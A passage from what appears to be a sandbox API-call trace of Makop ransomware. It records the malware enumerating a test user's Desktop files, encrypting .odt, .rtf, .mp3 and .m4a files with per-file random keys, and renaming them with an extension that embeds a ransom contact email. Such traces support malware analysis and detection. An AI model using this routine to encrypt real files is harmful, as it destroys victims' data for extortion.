HALPmcxz\\Desktop\\mtMQ9c9PY3\\*.*") returned 52 [0055.973] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\*.*", lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f679320, ftCreationTime.dwHighDateTime=0x1d5e466, ftLastAccessTime.dwLowDateTime=0x294f8d20, ftLastAccessTime.dwHighDateTime=0x1d5e563, ftLastWriteTime.dwLowDateTime=0x294f8d20, ftLastWriteTime.dwHighDateTime=0x1d5e563, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c6fe8 [0055.974] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f679320, ftCreationTime.dwHighDateTime=0x1d5e466, ftLastAccessTime.dwLowDateTime=0x294f8d20, ftLastAccessTime.dwHighDateTime=0x1d5e563, ftLastWriteTime.dwLowDateTime=0x294f8d20, ftLastWriteTime.dwHighDateTime=0x1d5e563, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.974] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaed593e0, ftCreationTime.dwHighDateTime=0x1d5e4af, ftLastAccessTime.dwLowDateTime=0xa5b1fb10, ftLastAccessTime.dwHighDateTime=0x1d5e58a, ftLastWriteTime.dwLowDateTime=0xa5b1fb10, ftLastWriteTime.dwHighDateTime=0x1d5e58a, nFileSizeHigh=0x0, nFileSizeLow=0xa6cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="59c4eHOlhofXdMGy.odt", cAlternateFileName="59C4EH~1.ODT")) returned 1 [0055.974] wsprintfW (in: param_1=0x657d4f0, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\59c4eHOlhofXdMGy.odt") returned 69 [0055.974] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\59c4eHOlhofXdMGy.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtmq9c9py3\\59c4eholhofxdmgy.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4 [0055.974] GetProcessHeap () returned 0x48a0000 [0055.974] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.974] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.974] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca48 | out: lpNewFilePointer=0x0) returned 1 [0055.975] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca58*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca58*, lpNumberOfBytesWritten=0x657ca28*=0x5, lpOverlapped=0x0) returned 1 [0055.977] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7028) returned 1 [0055.977] CryptSetKeyParam (hKey=0x48c7028, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.977] GetProcessHeap () returned 0x48a0000 [0055.977] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0055.977] CryptEncrypt (in: hKey=0x48c7028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x657ca10*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x657ca10*=0x50) returned 1 [0055.977] CryptDestroyKey (hKey=0x48c7028) returned 1 [0055.978] WriteFile (in: hFile=0xc4, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x657ca28*=0x50, lpOverlapped=0x0) returned 1 [0055.978] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca30*, lpNumberOfBytesWritten=0x657ca28*=0x4, lpOverlapped=0x0) returned 1 [0055.978] WriteFile (in: hFile=0xc4, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657ca28*=0x10, lpOverlapped=0x0) returned 1 [0055.978] WriteFile (in: hFile=0xc4, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657ca28*=0x80, lpOverlapped=0x0) returned 1 [0055.978] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca50 | out: lpNewFilePointer=0x0) returned 1 [0055.978] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca40*, lpNumberOfBytesWritten=0x657ca28*=0x8, lpOverlapped=0x0) returned 1 [0055.979] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7028) returned 1 [0055.979] CryptSetKeyParam (hKey=0x48c7028, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.979] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.979] ReadFile (in: hFile=0xc4, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa6cb, lpNumberOfBytesRead=0x657ca34, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657ca34*=0xa6cb, lpOverlapped=0x0) returned 1 [0055.980] CryptEncrypt (in: hKey=0x48c7028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657ca10*=0xa6d0, dwBufLen=0xa6d0 | out: pbData=0x6370020*, pdwDataLen=0x657ca10*=0xa6d0) returned 1 [0055.980] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.981] WriteFile (in: hFile=0xc4, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa6d0, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657ca28*=0xa6d0, lpOverlapped=0x0) returned 1 [0055.981] CryptDestroyKey (hKey=0x48c7028) returned 1 [0055.981] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xa7b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.981] SetEndOfFile (hFile=0xc4) returned 1 [0055.988] GetProcessHeap () returned 0x48a0000 [0055.988] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0055.989] GetProcessHeap () returned 0x48a0000 [0055.989] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0055.989] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\59c4eHOlhofXdMGy.odt.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 116 [0055.989] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\59c4eHOlhofXdMGy.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtmq9c9py3\\59c4eholhofxdmgy.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\59c4eHOlhofXdMGy.odt.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtmq9c9py3\\59c4eholhofxdmgy.odt.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0055.993] CloseHandle (hObject=0xc4) returned 1 [0055.993] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934bd3b0, ftCreationTime.dwHighDateTime=0x1d5e085, ftLastAccessTime.dwLowDateTime=0x8d8f6780, ftLastAccessTime.dwHighDateTime=0x1d5de3b, ftLastWriteTime.dwLowDateTime=0x8d8f6780, ftLastWriteTime.dwHighDateTime=0x1d5de3b, nFileSizeHigh=0x0, nFileSizeLow=0x6814, dwReserved0=0x0, dwReserved1=0x0, cFileName="eIq1aB5uZglZSaiI4.rtf", cAlternateFileName="EIQ1AB~1.RTF")) returned 1 [0055.993] wsprintfW (in: param_1=0x657d4f0, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\eIq1aB5uZglZSaiI4.rtf") returned 70 [0055.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\eIq1aB5uZglZSaiI4.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtmq9c9py3\\eiq1ab5uzglzsaii4.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4 [0055.994] GetProcessHeap () returned 0x48a0000 [0055.994] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0055.994] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0055.994] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca48 | out: lpNewFilePointer=0x0) returned 1 [0055.994] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca58*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca58*, lpNumberOfBytesWritten=0x657ca28*=0xc, lpOverlapped=0x0) returned 1 [0055.996] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7028) returned 1 [0055.997] CryptSetKeyParam (hKey=0x48c7028, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.997] GetProcessHeap () returned 0x48a0000 [0055.997] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0055.997] CryptEncrypt (in: hKey=0x48c7028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x657ca10*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x657ca10*=0x50) returned 1 [0055.997] CryptDestroyKey (hKey=0x48c7028) returned 1 [0055.997] WriteFile (in: hFile=0xc4, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x657ca28*=0x50, lpOverlapped=0x0) returned 1 [0055.997] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca30*, lpNumberOfBytesWritten=0x657ca28*=0x4, lpOverlapped=0x0) returned 1 [0055.997] WriteFile (in: hFile=0xc4, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657ca28*=0x10, lpOverlapped=0x0) returned 1 [0055.997] WriteFile (in: hFile=0xc4, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657ca28*=0x80, lpOverlapped=0x0) returned 1 [0055.998] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca50 | out: lpNewFilePointer=0x0) returned 1 [0055.998] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca40*, lpNumberOfBytesWritten=0x657ca28*=0x8, lpOverlapped=0x0) returned 1 [0055.998] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7028) returned 1 [0055.998] CryptSetKeyParam (hKey=0x48c7028, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0055.998] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.998] ReadFile (in: hFile=0xc4, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6814, lpNumberOfBytesRead=0x657ca34, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657ca34*=0x6814, lpOverlapped=0x0) returned 1 [0055.999] CryptEncrypt (in: hKey=0x48c7028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657ca10*=0x6820, dwBufLen=0x6820 | out: pbData=0x6370020*, pdwDataLen=0x657ca10*=0x6820) returned 1 [0055.999] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.999] WriteFile (in: hFile=0xc4, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6820, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657ca28*=0x6820, lpOverlapped=0x0) returned 1 [0056.000] CryptDestroyKey (hKey=0x48c7028) returned 1 [0056.000] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x6904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.000] SetEndOfFile (hFile=0xc4) returned 1 [0056.222] GetProcessHeap () returned 0x48a0000 [0056.222] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0056.222] GetProcessHeap () returned 0x48a0000 [0056.222] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0056.222] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\eIq1aB5uZglZSaiI4.rtf.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0056.222] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\eIq1aB5uZglZSaiI4.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtmq9c9py3\\eiq1ab5uzglzsaii4.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\eIq1aB5uZglZSaiI4.rtf.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtmq9c9py3\\eiq1ab5uzglzsaii4.rtf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0056.224] CloseHandle (hObject=0xc4) returned 1 [0056.228] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86262b0, ftCreationTime.dwHighDateTime=0x1d5e395, ftLastAccessTime.dwLowDateTime=0x909254e0, ftLastAccessTime.dwHighDateTime=0x1d5e4aa, ftLastWriteTime.dwLowDateTime=0x909254e0, ftLastWriteTime.dwHighDateTime=0x1d5e4aa, nFileSizeHigh=0x0, nFileSizeLow=0x41c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LLVSl_jmSFzHKxnB.mp3", cAlternateFileName="LLVSL_~1.MP3")) returned 1 [0056.228] wsprintfW (in: param_1=0x657d4f0, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\LLVSl_jmSFzHKxnB.mp3") returned 69 [0056.228] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\LLVSl_jmSFzHKxnB.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtmq9c9py3\\llvsl_jmsfzhkxnb.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4 [0056.228] GetProcessHeap () returned 0x48a0000 [0056.228] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0056.228] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0056.228] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca48 | out: lpNewFilePointer=0x0) returned 1 [0056.229] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca58*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca58*, lpNumberOfBytesWritten=0x657ca28*=0xa, lpOverlapped=0x0) returned 1 [0056.231] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7028) returned 1 [0056.231] CryptSetKeyParam (hKey=0x48c7028, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0056.231] GetProcessHeap () returned 0x48a0000 [0056.231] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0056.231] CryptEncrypt (in: hKey=0x48c7028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x657ca10*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x657ca10*=0x50) returned 1 [0056.232] CryptDestroyKey (hKey=0x48c7028) returned 1 [0056.232] WriteFile (in: hFile=0xc4, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x657ca28*=0x50, lpOverlapped=0x0) returned 1 [0056.232] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca30*, lpNumberOfBytesWritten=0x657ca28*=0x4, lpOverlapped=0x0) returned 1 [0056.232] WriteFile (in: hFile=0xc4, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657ca28*=0x10, lpOverlapped=0x0) returned 1 [0056.232] WriteFile (in: hFile=0xc4, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657ca28*=0x80, lpOverlapped=0x0) returned 1 [0056.232] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca50 | out: lpNewFilePointer=0x0) returned 1 [0056.233] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca40*, lpNumberOfBytesWritten=0x657ca28*=0x8, lpOverlapped=0x0) returned 1 [0056.233] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7028) returned 1 [0056.233] CryptSetKeyParam (hKey=0x48c7028, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0056.233] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.233] ReadFile (in: hFile=0xc4, lpBuffer=0x6370020, nNumberOfBytesToRead=0x41c6, lpNumberOfBytesRead=0x657ca34, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657ca34*=0x41c6, lpOverlapped=0x0) returned 1 [0056.233] CryptEncrypt (in: hKey=0x48c7028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657ca10*=0x41d0, dwBufLen=0x41d0 | out: pbData=0x6370020*, pdwDataLen=0x657ca10*=0x41d0) returned 1 [0056.234] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.234] WriteFile (in: hFile=0xc4, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x41d0, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657ca28*=0x41d0, lpOverlapped=0x0) returned 1 [0056.234] CryptDestroyKey (hKey=0x48c7028) returned 1 [0056.234] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x42b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.234] SetEndOfFile (hFile=0xc4) returned 1 [0056.242] GetProcessHeap () returned 0x48a0000 [0056.242] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0056.242] GetProcessHeap () returned 0x48a0000 [0056.242] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0056.242] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\LLVSl_jmSFzHKxnB.mp3.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 116 [0056.242] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\LLVSl_jmSFzHKxnB.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtmq9c9py3\\llvsl_jmsfzhkxnb.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\LLVSl_jmSFzHKxnB.mp3.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtmq9c9py3\\llvsl_jmsfzhkxnb.mp3.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0056.243] CloseHandle (hObject=0xc4) returned 1 [0056.244] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0c5b0, ftCreationTime.dwHighDateTime=0x1d5db9a, ftLastAccessTime.dwLowDateTime=0x3f60b500, ftLastAccessTime.dwHighDateTime=0x1d5e4df, ftLastWriteTime.dwLowDateTime=0x3f60b500, ftLastWriteTime.dwHighDateTime=0x1d5e4df, nFileSizeHigh=0x0, nFileSizeLow=0x8647, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rny5iT5RRqi8J1Vyb9X.m4a", cAlternateFileName="RNY5IT~1.M4A")) returned 1 [0056.244] wsprintfW (in: param_1=0x657d4f0, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\Rny5iT5RRqi8J1Vyb9X.m4a") returned 72 [0056.244] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtMQ9c9PY3\\Rny5iT5RRqi8J1Vyb9X.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtmq9c9py3\\rny5it5rrqi8j1vyb9x.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4 [0056.244] GetProcessHeap () returned 0x48a0000 [0056.244] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0056.244] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0056.244] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657ca48 | out: lpNewFilePointer=0x0) returned 1 [0056.244] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca58*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca58*, lpNumberOfBytesWritten=0x657ca28*=0x9, lpOverlapped=0x0) returned 1 [0056.247] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657ca2c | out: phKey=0x657ca2c*=0x48c7028) returned 1 [0056.247] CryptSetKeyParam (hKey=0x48c7028, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0056.247] GetProcessHeap () returned 0x48a0000 [0056.247] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0056.247] CryptEncrypt (in: hKey=0x48c7028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x657ca10*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x657ca10*=0x50) returned 1 [0056.247] CryptDestroyKey (hKey=0x48c7028) returned 1 [0056.247] WriteFile (in: hFile=0xc4, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x657ca28*=0x50, lpOverlapped=0x0) returned 1 [0056.247] WriteFile (in: hFile=0xc4, lpBuffer=0x657ca30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x657ca30*, lpNumberOfBytesWritten=0x657ca28*=0x4, lpOverlapped=0x0) returned 1 [0056.248] WriteFile (in: hFile=0xc4, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657ca28*=0x10, lpOverlapped=0x0) returned 1 [0056.248] WriteFile (in: hFile=0xc4, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657ca28, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657ca28*=0x80, 